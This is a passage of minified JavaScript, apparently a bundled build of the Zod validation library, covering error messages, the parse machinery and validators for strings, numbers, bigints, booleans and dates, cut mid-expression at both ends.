":$.inclusive?"greater than or equal to ":"greater than "}${$.minimum}`;else if($.type==="date")H=`Date must be ${$.exact?"exactly equal to ":$.inclusive?"greater than or equal to ":"greater than "}${new Date(Number($.minimum))}`;else H="Invalid input";break;case _.too_big:if($.type==="array")H=`Array must contain ${$.exact?"exactly":$.inclusive?"at most":"less than"} ${$.maximum} element(s)`;else if($.type==="string")H=`String must contain ${$.exact?"exactly":$.inclusive?"at most":"under"} ${$.maximum} character(s)`;else if($.type==="number")H=`Number must be ${$.exact?"exactly":$.inclusive?"less than or equal to":"less than"} ${$.maximum}`;else if($.type==="bigint")H=`BigInt must be ${$.exact?"exactly":$.inclusive?"less than or equal to":"less than"} ${$.maximum}`;else if($.type==="date")H=`Date must be ${$.exact?"exactly":$.inclusive?"smaller than or equal to":"smaller than"} ${new Date(Number($.maximum))}`;else H="Invalid input";break;case _.custom:H="Invalid input";break;case _.invalid_intersection_types:H="Intersection results could not be merged";break;case _.not_multiple_of:H=`Number must be a multiple of ${$.multipleOf}`;break;case _.not_finite:H="Number must be finite";break;default:H=W.defaultError,D.assertNever($)}return{message:H}},d=kW;var e$=d;function hW($){e$=$}function q$(){return e$}var b$=($)=>{let{data:W,path:H,errorMaps:G,issueData:J}=$,Q=[...H,...J.path||[]],X={...J,path:Q};if(J.message!==void 0)return{...J,path:Q,message:J.message};let Y="",q=G.filter((j)=>!!j).slice().reverse();for(let j of q)Y=j(X,{data:W,defaultError:Y}).message;return{...J,path:Q,message:Y}},gW=[];function M($,W){let H=q$(),G=b$({issueData:W,data:$.data,path:$.path,errorMaps:[$.common.contextualErrorMap,$.schemaErrorMap,H,H===d?void 0:d].filter((J)=>!!J)});$.common.issues.push(G)}class C{constructor(){this.value="valid"}dirty(){if(this.value==="valid")this.value="dirty"}abort(){if(this.value!=="aborted")this.value="aborted"}static mergeArray($,W){let H=[];for(let G of W){if(G.status==="aborted")return z;if(G.status==="dirty")$.dirty();H.push(G.value)}return{status:$.value,value:H}}static async mergeObjectAsync($,W){let H=[];for(let G of W){let J=await G.key,Q=await G.value;H.push({key:J,value:Q})}return C.mergeObjectSync($,H)}static mergeObjectSync($,W){let H={};for(let G of W){let{key:J,value:Q}=G;if(J.status==="aborted")return z;if(Q.status==="aborted")return z;if(J.status==="dirty")$.dirty();if(Q.status==="dirty")$.dirty();if(J.value!=="__proto__"&&(typeof Q.value<"u"||G.alwaysSet))H[J.value]=Q.value}return{status:$.value,value:H}}}var z=Object.freeze({status:"aborted"}),J$=($)=>({status:"dirty",value:$}),v=($)=>({status:"valid",value:$}),P$=($)=>$.status==="aborted",k$=($)=>$.status==="dirty",r=($)=>$.status==="valid",_$=($)=>typeof Promise<"u"&&$ instanceof Promise;var w;(function($){$.errToObj=(W)=>typeof W==="string"?{message:W}:W||{},$.toString=(W)=>typeof W==="string"?W:W?.message})(w||(w={}));class m{constructor($,W,H,G){this._cachedPath=[],this.parent=$,this.data=W,this._path=H,this._key=G}get path(){if(!this._cachedPath.length)if(Array.isArray(this._key))this._cachedPath.push(...this._path,...this._key);else this._cachedPath.push(...this._path,this._key);return this._cachedPath}}var $W=($,W)=>{if(r(W))return{success:!0,data:W.value};else{if(!$.common.issues.length)throw Error("Validation failed but no issues detected.");return{success:!1,get error(){if(this._error)return this._error;let H=new I($.common.issues);return this._error=H,this._error}}}};function N($){if(!$)return{};let{errorMap:W,invalid_type_error:H,required_error:G,description:J}=$;if(W&&(H||G))throw Error(`Can't use "invalid_type_error" or "required_error" in conjunction with custom error map.`);if(W)return{errorMap:W,description:J};return{errorMap:(X,Y)=>{let{message:q}=$;if(X.code==="invalid_enum_value")return{message:q??Y.defaultError};if(typeof Y.data>"u")return{message:q??G??Y.defaultError};if(X.code!=="invalid_type")return{message:Y.defaultError};return{message:q??H??Y.defaultError}},description:J}}class L{get description(){return this._def.description}_getType($){return c($.data)}_getOrReturnCtx($,W){return W||{common:$.parent.common,data:$.data,parsedType:c($.data),schemaErrorMap:this._def.errorMap,path:$.path,parent:$.parent}}_processInputParams($){return{status:new C,ctx:{common:$.parent.common,data:$.data,parsedType:c($.data),schemaErrorMap:this._def.errorMap,path:$.path,parent:$.parent}}}_parseSync($){let W=this._parse($);if(_$(W))throw Error("Synchronous parse encountered promise.");return W}_parseAsync($){let W=this._parse($);return Promise.resolve(W)}parse($,W){let H=this.safeParse($,W);if(H.success)return H.data;throw H.error}safeParse($,W){let H={common:{issues:[],async:W?.async??!1,contextualErrorMap:W?.errorMap},path:W?.path||[],schemaErrorMap:this._def.errorMap,parent:null,data:$,parsedType:c($)},G=this._parseSync({data:$,path:H.path,parent:H});return $W(H,G)}"~validate"($){let W={common:{issues:[],async:!!this["~standard"].async},path:[],schemaErrorMap:this._def.errorMap,parent:null,data:$,parsedType:c($)};if(!this["~standard"].async)try{let H=this._parseSync({data:$,path:[],parent:W});return r(H)?{value:H.value}:{issues:W.common.issues}}catch(H){if(H?.message?.toLowerCase()?.includes("encountered"))this["~standard"].async=!0;W.common={issues:[],async:!0}}return this._parseAsync({data:$,path:[],parent:W}).then((H)=>r(H)?{value:H.value}:{issues:W.common.issues})}async parseAsync($,W){let H=await this.safeParseAsync($,W);if(H.success)return H.data;throw H.error}async safeParseAsync($,W){let H={common:{issues:[],contextualErrorMap:W?.errorMap,async:!0},path:W?.path||[],schemaErrorMap:this._def.errorMap,parent:null,data:$,parsedType:c($)},G=this._parse({data:$,path:H.path,parent:H}),J=await(_$(G)?G:Promise.resolve(G));return $W(H,J)}refine($,W){let H=(G)=>{if(typeof W==="string"||typeof W>"u")return{message:W};else if(typeof W==="function")return W(G);else return W};return this._refinement((G,J)=>{let Q=$(G),X=()=>J.addIssue({code:_.custom,...H(G)});if(typeof Promise<"u"&&Q instanceof Promise)return Q.then((Y)=>{if(!Y)return X(),!1;else return!0});if(!Q)return X(),!1;else return!0})}refinement($,W){return this._refinement((H,G)=>{if(!$(H))return G.addIssue(typeof W==="function"?W(H,G):W),!1;else return!0})}_refinement($){return new Z({schema:this,typeName:S.ZodEffects,effect:{type:"refinement",refinement:$}})}superRefine($){return this._refinement($)}constructor($){this.spa=this.safeParseAsync,this._def=$,this.parse=this.parse.bind(this),this.safeParse=this.safeParse.bind(this),this.parseAsync=this.parseAsync.bind(this),this.safeParseAsync=this.safeParseAsync.bind(this),this.spa=this.spa.bind(this),this.refine=this.refine.bind(this),this.refinement=this.refinement.bind(this),this.superRefine=this.superRefine.bind(this),this.optional=this.optional.bind(this),this.nullable=this.nullable.bind(this),this.nullish=this.nullish.bind(this),this.array=this.array.bind(this),this.promise=this.promise.bind(this),this.or=this.or.bind(this),this.and=this.and.bind(this),this.transform=this.transform.bind(this),this.brand=this.brand.bind(this),this.default=this.default.bind(this),this.catch=this.catch.bind(this),this.describe=this.describe.bind(this),this.pipe=this.pipe.bind(this),this.readonly=this.readonly.bind(this),this.isNullable=this.isNullable.bind(this),this.isOptional=this.isOptional.bind(this),this["~standard"]={version:1,vendor:"zod",validate:(W)=>this["~validate"](W)}}optional(){return y.create(this,this._def)}nullable(){return i.create(this,this._def)}nullish(){return this.nullable().optional()}array(){return x.create(this)}promise(){return Y$.create(this,this._def)}or($){return S$.create([this,$],this._def)}and($){return U$.create(this,$,this._def)}transform($){return new Z({...N(this._def),schema:this,typeName:S.ZodEffects,effect:{type:"transform",transform:$}})}default($){let W=typeof $==="function"?$:()=>$;return new D$({...N(this._def),innerType:this,defaultValue:W,typeName:S.ZodDefault})}brand(){return new g$({typeName:S.ZodBranded,type:this,...N(this._def)})}catch($){let W=typeof $==="function"?$:()=>$;return new V$({...N(this._def),innerType:this,catchValue:W,typeName:S.ZodCatch})}describe($){return new this.constructor({...this._def,description:$})}pipe($){return v$.create(this,$)}readonly(){return K$.create(this)}isOptional(){return this.safeParse(void 0).success}isNullable(){return this.safeParse(null).success}}var TW=/^c[^\s-]{8,}$/i,xW=/^[0-9a-z]+$/,yW=/^[0-9A-HJKMNP-TV-Z]{26}$/i,mW=/^[0-9a-fA-F]{8}\b-[0-9a-fA-F]{4}\b-[0-9a-fA-F]{4}\b-[0-9a-fA-F]{4}\b-[0-9a-fA-F]{12}$/i,ZW=/^[a-z0-9_-]{21}$/i,lW=/^[A-Za-z0-9-_]+\.[A-Za-z0-9-_]+\.[A-Za-z0-9-_]*$/,cW=/^[-+]?P(?!$)(?:(?:[-+]?\d+Y)|(?:[-+]?\d+[.,]\d+Y$))?(?:(?:[-+]?\d+M)|(?:[-+]?\d+[.,]\d+M$))?(?:(?:[-+]?\d+W)|(?:[-+]?\d+[.,]\d+W$))?(?:(?:[-+]?\d+D)|(?:[-+]?\d+[.,]\d+D$))?(?:T(?=[\d+-])(?:(?:[-+]?\d+H)|(?:[-+]?\d+[.,]\d+H$))?(?:(?:[-+]?\d+M)|(?:[-+]?\d+[.,]\d+M$))?(?:[-+]?\d+(?:[.,]\d+)?S)?)??$/,uW=/^(?!\.)(?!.*\.\.)([A-Z0-9_'+\-\.]*)[A-Z0-9_+-]@([A-Z0-9][A-Z0-9\-]*\.)+[A-Z]{2,}$/i,nW="^(\\p{Extended_Pictographic}|\\p{Emoji_Component})+$",c$,dW=/^(?:(?:25[0-5]|2[0-4][0-9]|1[0-9][0-9]|[1-9][0-9]|[0-9])\.){3}(?:25[0-5]|2[0-4][0-9]|1[0-9][0-9]|[1-9][0-9]|[0-9])$/,pW=/^(?:(?:25[0-5]|2[0-4][0-9]|1[0-9][0-9]|[1-9][0-9]|[0-9])\.){3}(?:25[0-5]|2[0-4][0-9]|1[0-9][0-9]|[1-9][0-9]|[0-9])\/(3[0-2]|[12]?[0-9])$/,iW=/^(([0-9a-fA-F]{1,4}:){7,7}[0-9a-fA-F]{1,4}|([0-9a-fA-F]{1,4}:){1,7}:|([0-9a-fA-F]{1,4}:){1,6}:[0-9a-fA-F]{1,4}|([0-9a-fA-F]{1,4}:){1,5}(:[0-9a-fA-F]{1,4}){1,2}|([0-9a-fA-F]{1,4}:){1,4}(:[0-9a-fA-F]{1,4}){1,3}|([0-9a-fA-F]{1,4}:){1,3}(:[0-9a-fA-F]{1,4}){1,4}|([0-9a-fA-F]{1,4}:){1,2}(:[0-9a-fA-F]{1,4}){1,5}|[0-9a-fA-F]{1,4}:((:[0-9a-fA-F]{1,4}){1,6})|:((:[0-9a-fA-F]{1,4}){1,7}|:)|fe80:(:[0-9a-fA-F]{0,4}){0,4}%[0-9a-zA-Z]{1,}|::(ffff(:0{1,4}){0,1}:){0,1}((25[0-5]|(2[0-4]|1{0,1}[0-9]){0,1}[0-9])\.){3,3}(25[0-5]|(2[0-4]|1{0,1}[0-9]){0,1}[0-9])|([0-9a-fA-F]{1,4}:){1,4}:((25[0-5]|(2[0-4]|1{0,1}[0-9]){0,1}[0-9])\.){3,3}(25[0-5]|(2[0-4]|1{0,1}[0-9]){0,1}[0-9]))$/,sW=/^(([0-9a-fA-F]{1,4}:){7,7}[0-9a-fA-F]{1,4}|([0-9a-fA-F]{1,4}:){1,7}:|([0-9a-fA-F]{1,4}:){1,6}:[0-9a-fA-F]{1,4}|([0-9a-fA-F]{1,4}:){1,5}(:[0-9a-fA-F]{1,4}){1,2}|([0-9a-fA-F]{1,4}:){1,4}(:[0-9a-fA-F]{1,4}){1,3}|([0-9a-fA-F]{1,4}:){1,3}(:[0-9a-fA-F]{1,4}){1,4}|([0-9a-fA-F]{1,4}:){1,2}(:[0-9a-fA-F]{1,4}){1,5}|[0-9a-fA-F]{1,4}:((:[0-9a-fA-F]{1,4}){1,6})|:((:[0-9a-fA-F]{1,4}){1,7}|:)|fe80:(:[0-9a-fA-F]{0,4}){0,4}%[0-9a-zA-Z]{1,}|::(ffff(:0{1,4}){0,1}:){0,1}((25[0-5]|(2[0-4]|1{0,1}[0-9]){0,1}[0-9])\.){3,3}(25[0-5]|(2[0-4]|1{0,1}[0-9]){0,1}[0-9])|([0-9a-fA-F]{1,4}:){1,4}:((25[0-5]|(2[0-4]|1{0,1}[0-9]){0,1}[0-9])\.){3,3}(25[0-5]|(2[0-4]|1{0,1}[0-9]){0,1}[0-9]))\/(12[0-8]|1[01][0-9]|[1-9]?[0-9])$/,rW=/^([0-9a-zA-Z+/]{4})*(([0-9a-zA-Z+/]{2}==)|([0-9a-zA-Z+/]{3}=))?$/,oW=/^([0-9a-zA-Z-_]{4})*(([0-9a-zA-Z-_]{2}(==)?)|([0-9a-zA-Z-_]{3}(=)?))?$/,HW="((\\d\\d[2468][048]|\\d\\d[13579][26]|\\d\\d0[48]|[02468][048]00|[13579][26]00)-02-29|\\d{4}-((0[13578]|1[02])-(0[1-9]|[12]\\d|3[01])|(0[469]|11)-(0[1-9]|[12]\\d|30)|(02)-(0[1-9]|1\\d|2[0-8])))",aW=new RegExp(`^${HW}$`);function JW($){let W="[0-5]\\d";if($.precision)W=`${W}\\.\\d{${$.precision}}`;else if($.precision==null)W=`${W}(\\.\\d+)?`;let H=$.precision?"+":"?";return`([01]\\d|2[0-3]):[0-5]\\d(:${W})${H}`}function tW($){return new RegExp(`^${JW($)}$`)}function GW($){let W=`${HW}T${JW($)}`,H=[];if(H.push($.local?"Z?":"Z"),$.offset)H.push("([+-]\\d{2}:?\\d{2})");return W=`${W}(${H.join("|")})`,new RegExp(`^${W}$`)}function eW($,W){if((W==="v4"||!W)&&dW.test($))return!0;if((W==="v6"||!W)&&iW.test($))return!0;return!1}function $3($,W){if(!lW.test($))return!1;try{let[H]=$.split(".");if(!H)return!1;let G=H.replace(/-/g,"+").replace(/_/g,"/").padEnd(H.length+(4-H.length%4)%4,"="),J=JSON.parse(atob(G));if(typeof J!=="object"||J===null)return!1;if("typ"in J&&J?.typ!=="JWT")return!1;if(!J.alg)return!1;if(W&&J.alg!==W)return!1;return!0}catch{return!1}}function W3($,W){if((W==="v4"||!W)&&pW.test($))return!0;if((W==="v6"||!W)&&sW.test($))return!0;return!1}class T extends L{_parse($){if(this._def.coerce)$.data=String($.data);if(this._getType($)!==B.string){let J=this._getOrReturnCtx($);return M(J,{code:_.invalid_type,expected:B.string,received:J.parsedType}),z}let H=new C,G=void 0;for(let J of this._def.checks)if(J.kind==="min"){if($.data.length<J.value)G=this._getOrReturnCtx($,G),M(G,{code:_.too_small,minimum:J.value,type:"string",inclusive:!0,exact:!1,message:J.message}),H.dirty()}else if(J.kind==="max"){if($.data.length>J.value)G=this._getOrReturnCtx($,G),M(G,{code:_.too_big,maximum:J.value,type:"string",inclusive:!0,exact:!1,message:J.message}),H.dirty()}else if(J.kind==="length"){let Q=$.data.length>J.value,X=$.data.length<J.value;if(Q||X){if(G=this._getOrReturnCtx($,G),Q)M(G,{code:_.too_big,maximum:J.value,type:"string",inclusive:!0,exact:!0,message:J.message});else if(X)M(G,{code:_.too_small,minimum:J.value,type:"string",inclusive:!0,exact:!0,message:J.message});H.dirty()}}else if(J.kind==="email"){if(!uW.test($.data))G=this._getOrReturnCtx($,G),M(G,{validation:"email",code:_.invalid_string,message:J.message}),H.dirty()}else if(J.kind==="emoji"){if(!c$)c$=new RegExp(nW,"u");if(!c$.test($.data))G=this._getOrReturnCtx($,G),M(G,{validation:"emoji",code:_.invalid_string,message:J.message}),H.dirty()}else if(J.kind==="uuid"){if(!mW.test($.data))G=this._getOrReturnCtx($,G),M(G,{validation:"uuid",code:_.invalid_string,message:J.message}),H.dirty()}else if(J.kind==="nanoid"){if(!ZW.test($.data))G=this._getOrReturnCtx($,G),M(G,{validation:"nanoid",code:_.invalid_string,message:J.message}),H.dirty()}else if(J.kind==="cuid"){if(!TW.test($.data))G=this._getOrReturnCtx($,G),M(G,{validation:"cuid",code:_.invalid_string,message:J.message}),H.dirty()}else if(J.kind==="cuid2"){if(!xW.test($.data))G=this._getOrReturnCtx($,G),M(G,{validation:"cuid2",code:_.invalid_string,message:J.message}),H.dirty()}else if(J.kind==="ulid"){if(!yW.test($.data))G=this._getOrReturnCtx($,G),M(G,{validation:"ulid",code:_.invalid_string,message:J.message}),H.dirty()}else if(J.kind==="url")try{new URL($.data)}catch{G=this._getOrReturnCtx($,G),M(G,{validation:"url",code:_.invalid_string,message:J.message}),H.dirty()}else if(J.kind==="regex"){if(J.regex.lastIndex=0,!J.regex.test($.data))G=this._getOrReturnCtx($,G),M(G,{validation:"regex",code:_.invalid_string,message:J.message}),H.dirty()}else if(J.kind==="trim")$.data=$.data.trim();else if(J.kind==="includes"){if(!$.data.includes(J.value,J.position))G=this._getOrReturnCtx($,G),M(G,{code:_.invalid_string,validation:{includes:J.value,position:J.position},message:J.message}),H.dirty()}else if(J.kind==="toLowerCase")$.data=$.data.toLowerCase();else if(J.kind==="toUpperCase")$.data=$.data.toUpperCase();else if(J.kind==="startsWith"){if(!$.data.startsWith(J.value))G=this._getOrReturnCtx($,G),M(G,{code:_.invalid_string,validation:{startsWith:J.value},message:J.message}),H.dirty()}else if(J.kind==="endsWith"){if(!$.data.endsWith(J.value))G=this._getOrReturnCtx($,G),M(G,{code:_.invalid_string,validation:{endsWith:J.value},message:J.message}),H.dirty()}else if(J.kind==="datetime"){if(!GW(J).test($.data))G=this._getOrReturnCtx($,G),M(G,{code:_.invalid_string,validation:"datetime",message:J.message}),H.dirty()}else if(J.kind==="date"){if(!aW.test($.data))G=this._getOrReturnCtx($,G),M(G,{code:_.invalid_string,validation:"date",message:J.message}),H.dirty()}else if(J.kind==="time"){if(!tW(J).test($.data))G=this._getOrReturnCtx($,G),M(G,{code:_.invalid_string,validation:"time",message:J.message}),H.dirty()}else if(J.kind==="duration"){if(!cW.test($.data))G=this._getOrReturnCtx($,G),M(G,{validation:"duration",code:_.invalid_string,message:J.message}),H.dirty()}else if(J.kind==="ip"){if(!eW($.data,J.version))G=this._getOrReturnCtx($,G),M(G,{validation:"ip",code:_.invalid_string,message:J.message}),H.dirty()}else if(J.kind==="jwt"){if(!$3($.data,J.alg))G=this._getOrReturnCtx($,G),M(G,{validation:"jwt",code:_.invalid_string,message:J.message}),H.dirty()}else if(J.kind==="cidr"){if(!W3($.data,J.version))G=this._getOrReturnCtx($,G),M(G,{validation:"cidr",code:_.invalid_string,message:J.message}),H.dirty()}else if(J.kind==="base64"){if(!rW.test($.data))G=this._getOrReturnCtx($,G),M(G,{validation:"base64",code:_.invalid_string,message:J.message}),H.dirty()}else if(J.kind==="base64url"){if(!oW.test($.data))G=this._getOrReturnCtx($,G),M(G,{validation:"base64url",code:_.invalid_string,message:J.message}),H.dirty()}else D.assertNever(J);return{status:H.value,value:$.data}}_regex($,W,H){return this.refinement((G)=>$.test(G),{validation:W,code:_.invalid_string,...w.errToObj(H)})}_addCheck($){return new T({...this._def,checks:[...this._def.checks,$]})}email($){return this._addCheck({kind:"email",...w.errToObj($)})}url($){return this._addCheck({kind:"url",...w.errToObj($)})}emoji($){return this._addCheck({kind:"emoji",...w.errToObj($)})}uuid($){return this._addCheck({kind:"uuid",...w.errToObj($)})}nanoid($){return this._addCheck({kind:"nanoid",...w.errToObj($)})}cuid($){return this._addCheck({kind:"cuid",...w.errToObj($)})}cuid2($){return this._addCheck({kind:"cuid2",...w.errToObj($)})}ulid($){return this._addCheck({kind:"ulid",...w.errToObj($)})}base64($){return this._addCheck({kind:"base64",...w.errToObj($)})}base64url($){return this._addCheck({kind:"base64url",...w.errToObj($)})}jwt($){return this._addCheck({kind:"jwt",...w.errToObj($)})}ip($){return this._addCheck({kind:"ip",...w.errToObj($)})}cidr($){return this._addCheck({kind:"cidr",...w.errToObj($)})}datetime($){if(typeof $==="string")return this._addCheck({kind:"datetime",precision:null,offset:!1,local:!1,message:$});return this._addCheck({kind:"datetime",precision:typeof $?.precision>"u"?null:$?.precision,offset:$?.offset??!1,local:$?.local??!1,...w.errToObj($?.message)})}date($){return this._addCheck({kind:"date",message:$})}time($){if(typeof $==="string")return this._addCheck({kind:"time",precision:null,message:$});return this._addCheck({kind:"time",precision:typeof $?.precision>"u"?null:$?.precision,...w.errToObj($?.message)})}duration($){return this._addCheck({kind:"duration",...w.errToObj($)})}regex($,W){return this._addCheck({kind:"regex",regex:$,...w.errToObj(W)})}includes($,W){return this._addCheck({kind:"includes",value:$,position:W?.position,...w.errToObj(W?.message)})}startsWith($,W){return this._addCheck({kind:"startsWith",value:$,...w.errToObj(W)})}endsWith($,W){return this._addCheck({kind:"endsWith",value:$,...w.errToObj(W)})}min($,W){return this._addCheck({kind:"min",value:$,...w.errToObj(W)})}max($,W){return this._addCheck({kind:"max",value:$,...w.errToObj(W)})}length($,W){return this._addCheck({kind:"length",value:$,...w.errToObj(W)})}nonempty($){return this.min(1,w.errToObj($))}trim(){return new T({...this._def,checks:[...this._def.checks,{kind:"trim"}]})}toLowerCase(){return new T({...this._def,checks:[...this._def.checks,{kind:"toLowerCase"}]})}toUpperCase(){return new T({...this._def,checks:[...this._def.checks,{kind:"toUpperCase"}]})}get isDatetime(){return!!this._def.checks.find(($)=>$.kind==="datetime")}get isDate(){return!!this._def.checks.find(($)=>$.kind==="date")}get isTime(){return!!this._def.checks.find(($)=>$.kind==="time")}get isDuration(){return!!this._def.checks.find(($)=>$.kind==="duration")}get isEmail(){return!!this._def.checks.find(($)=>$.kind==="email")}get isURL(){return!!this._def.checks.find(($)=>$.kind==="url")}get isEmoji(){return!!this._def.checks.find(($)=>$.kind==="emoji")}get isUUID(){return!!this._def.checks.find(($)=>$.kind==="uuid")}get isNANOID(){return!!this._def.checks.find(($)=>$.kind==="nanoid")}get isCUID(){return!!this._def.checks.find(($)=>$.kind==="cuid")}get isCUID2(){return!!this._def.checks.find(($)=>$.kind==="cuid2")}get isULID(){return!!this._def.checks.find(($)=>$.kind==="ulid")}get isIP(){return!!this._def.checks.find(($)=>$.kind==="ip")}get isCIDR(){return!!this._def.checks.find(($)=>$.kind==="cidr")}get isBase64(){return!!this._def.checks.find(($)=>$.kind==="base64")}get isBase64url(){return!!this._def.checks.find(($)=>$.kind==="base64url")}get minLength(){let $=null;for(let W of this._def.checks)if(W.kind==="min"){if($===null||W.value>$)$=W.value}return $}get maxLength(){let $=null;for(let W of this._def.checks)if(W.kind==="max"){if($===null||W.value<$)$=W.value}return $}}T.create=($)=>{return new T({checks:[],typeName:S.ZodString,coerce:$?.coerce??!1,...N($)})};function H3($,W){let H=($.toString().split(".")[1]||"").length,G=(W.toString().split(".")[1]||"").length,J=H>G?H:G,Q=Number.parseInt($.toFixed(J).replace(".","")),X=Number.parseInt(W.toFixed(J).replace(".",""));return Q%X/10**J}class a extends L{constructor(){super(...arguments);this.min=this.gte,this.max=this.lte,this.step=this.multipleOf}_parse($){if(this._def.coerce)$.data=Number($.data);if(this._getType($)!==B.number){let J=this._getOrReturnCtx($);return M(J,{code:_.invalid_type,expected:B.number,received:J.parsedType}),z}let H=void 0,G=new C;for(let J of this._def.checks)if(J.kind==="int"){if(!D.isInteger($.data))H=this._getOrReturnCtx($,H),M(H,{code:_.invalid_type,expected:"integer",received:"float",message:J.message}),G.dirty()}else if(J.kind==="min"){if(J.inclusive?$.data<J.value:$.data<=J.value)H=this._getOrReturnCtx($,H),M(H,{code:_.too_small,minimum:J.value,type:"number",inclusive:J.inclusive,exact:!1,message:J.message}),G.dirty()}else if(J.kind==="max"){if(J.inclusive?$.data>J.value:$.data>=J.value)H=this._getOrReturnCtx($,H),M(H,{code:_.too_big,maximum:J.value,type:"number",inclusive:J.inclusive,exact:!1,message:J.message}),G.dirty()}else if(J.kind==="multipleOf"){if(H3($.data,J.value)!==0)H=this._getOrReturnCtx($,H),M(H,{code:_.not_multiple_of,multipleOf:J.value,message:J.message}),G.dirty()}else if(J.kind==="finite"){if(!Number.isFinite($.data))H=this._getOrReturnCtx($,H),M(H,{code:_.not_finite,message:J.message}),G.dirty()}else D.assertNever(J);return{status:G.value,value:$.data}}gte($,W){return this.setLimit("min",$,!0,w.toString(W))}gt($,W){return this.setLimit("min",$,!1,w.toString(W))}lte($,W){return this.setLimit("max",$,!0,w.toString(W))}lt($,W){return this.setLimit("max",$,!1,w.toString(W))}setLimit($,W,H,G){return new a({...this._def,checks:[...this._def.checks,{kind:$,value:W,inclusive:H,message:w.toString(G)}]})}_addCheck($){return new a({...this._def,checks:[...this._def.checks,$]})}int($){return this._addCheck({kind:"int",message:w.toString($)})}positive($){return this._addCheck({kind:"min",value:0,inclusive:!1,message:w.toString($)})}negative($){return this._addCheck({kind:"max",value:0,inclusive:!1,message:w.toString($)})}nonpositive($){return this._addCheck({kind:"max",value:0,inclusive:!0,message:w.toString($)})}nonnegative($){return this._addCheck({kind:"min",value:0,inclusive:!0,message:w.toString($)})}multipleOf($,W){return this._addCheck({kind:"multipleOf",value:$,message:w.toString(W)})}finite($){return this._addCheck({kind:"finite",message:w.toString($)})}safe($){return this._addCheck({kind:"min",inclusive:!0,value:Number.MIN_SAFE_INTEGER,message:w.toString($)})._addCheck({kind:"max",inclusive:!0,value:Number.MAX_SAFE_INTEGER,message:w.toString($)})}get minValue(){let $=null;for(let W of this._def.checks)if(W.kind==="min"){if($===null||W.value>$)$=W.value}return $}get maxValue(){let $=null;for(let W of this._def.checks)if(W.kind==="max"){if($===null||W.value<$)$=W.value}return $}get isInt(){return!!this._def.checks.find(($)=>$.kind==="int"||$.kind==="multipleOf"&&D.isInteger($.value))}get isFinite(){let $=null,W=null;for(let H of this._def.checks)if(H.kind==="finite"||H.kind==="int"||H.kind==="multipleOf")return!0;else if(H.kind==="min"){if(W===null||H.value>W)W=H.value}else if(H.kind==="max"){if($===null||H.value<$)$=H.value}return Number.isFinite(W)&&Number.isFinite($)}}a.create=($)=>{return new a({checks:[],typeName:S.ZodNumber,coerce:$?.coerce||!1,...N($)})};class t extends L{constructor(){super(...arguments);this.min=this.gte,this.max=this.lte}_parse($){if(this._def.coerce)try{$.data=BigInt($.data)}catch{return this._getInvalidInput($)}if(this._getType($)!==B.bigint)return this._getInvalidInput($);let H=void 0,G=new C;for(let J of this._def.checks)if(J.kind==="min"){if(J.inclusive?$.data<J.value:$.data<=J.value)H=this._getOrReturnCtx($,H),M(H,{code:_.too_small,type:"bigint",minimum:J.value,inclusive:J.inclusive,message:J.message}),G.dirty()}else if(J.kind==="max"){if(J.inclusive?$.data>J.value:$.data>=J.value)H=this._getOrReturnCtx($,H),M(H,{code:_.too_big,type:"bigint",maximum:J.value,inclusive:J.inclusive,message:J.message}),G.dirty()}else if(J.kind==="multipleOf"){if($.data%J.value!==BigInt(0))H=this._getOrReturnCtx($,H),M(H,{code:_.not_multiple_of,multipleOf:J.value,message:J.message}),G.dirty()}else D.assertNever(J);return{status:G.value,value:$.data}}_getInvalidInput($){let W=this._getOrReturnCtx($);return M(W,{code:_.invalid_type,expected:B.bigint,received:W.parsedType}),z}gte($,W){return this.setLimit("min",$,!0,w.toString(W))}gt($,W){return this.setLimit("min",$,!1,w.toString(W))}lte($,W){return this.setLimit("max",$,!0,w.toString(W))}lt($,W){return this.setLimit("max",$,!1,w.toString(W))}setLimit($,W,H,G){return new t({...this._def,checks:[...this._def.checks,{kind:$,value:W,inclusive:H,message:w.toString(G)}]})}_addCheck($){return new t({...this._def,checks:[...this._def.checks,$]})}positive($){return this._addCheck({kind:"min",value:BigInt(0),inclusive:!1,message:w.toString($)})}negative($){return this._addCheck({kind:"max",value:BigInt(0),inclusive:!1,message:w.toString($)})}nonpositive($){return this._addCheck({kind:"max",value:BigInt(0),inclusive:!0,message:w.toString($)})}nonnegative($){return this._addCheck({kind:"min",value:BigInt(0),inclusive:!0,message:w.toString($)})}multipleOf($,W){return this._addCheck({kind:"multipleOf",value:$,message:w.toString(W)})}get minValue(){let $=null;for(let W of this._def.checks)if(W.kind==="min"){if($===null||W.value>$)$=W.value}return $}get maxValue(){let $=null;for(let W of this._def.checks)if(W.kind==="max"){if($===null||W.value<$)$=W.value}return $}}t.create=($)=>{return new t({checks:[],typeName:S.ZodBigInt,coerce:$?.coerce??!1,...N($)})};class j$ extends L{_parse($){if(this._def.coerce)$.data=Boolean($.data);if(this._getType($)!==B.boolean){let H=this._getOrReturnCtx($);return M(H,{code:_.invalid_type,expected:B.boolean,received:H.parsedType}),z}return v($.data)}}j$.create=($)=>{return new j$({typeName:S.ZodBoolean,coerce:$?.coerce||!1,...N($)})};class G$ extends L{_parse($){if(this._def.coerce)$.data=new Date($.data);if(this._getType($)!==B.date){let J=this._getOrReturnCtx($);return M(J,{code:_.invalid_type,expected:B.date,received:J.parsedType}),z}if(Number.isNaN($.data.getTime())){let J=this._getOrReturnCtx($);return M(J,{code:_.invalid_date}),z}let H=new C,G=void 0;for(let J of this._def.checks)if(J.kind==="min"){if($.data.getTime()<J.value)G=this._getOrReturnCtx($,G),M(G,{code:_.too_small,message:J.message,inclusive:!0,exact:!1,minimum:J.value,type:"date"}),H.dirty()}else if(J.kind==="max"){if($.data.getTime()>J.value)G=this._getOrReturnCtx($,G),M(G,{code:_.too_big,message:J.message,inclusive:!0,exact:!1,maximum:J.value,type:"date"}),H.dirty()}else D.assertNever(J);return{status:H.value,value:new Date($.data.getTime())}}_addCheck($){return new G$({...this._def,checks:[...this._def.checks,$]})}min($,W){return this._addCheck({kind:"min",value:$.getTime(),message:w.toString(W)})}max($,W){return this._addCheck({kind:"max",value:$.getTime(),message:w.toString(W)})}get minDate(){let $=null;for(let W of this._def.checks)if(W.kind==="min"){if($===null||W.value>$)$=W.value}return $!=null?new Date($):null}get maxDate(){let $=null;for(let W of this._def.checks)if(W.kind==="max"){if($===null||W.value<$)$=W.value}return $!=null?new Date($):null}}G$.create=($)=>{return new G$({checks:[],coerce:$?.coerce||!1,typeName:S.ZodDate,...N($)})};class F$ extends L{_parse($){if(this._getType($)!==B.symbol){let H=this._getOrReturnCtx($);return M(H,{code:_.invalid_type,expected:B.symbol,received:H.parsedType}),z}return v($.data)}}F$.create=($)=>{return new 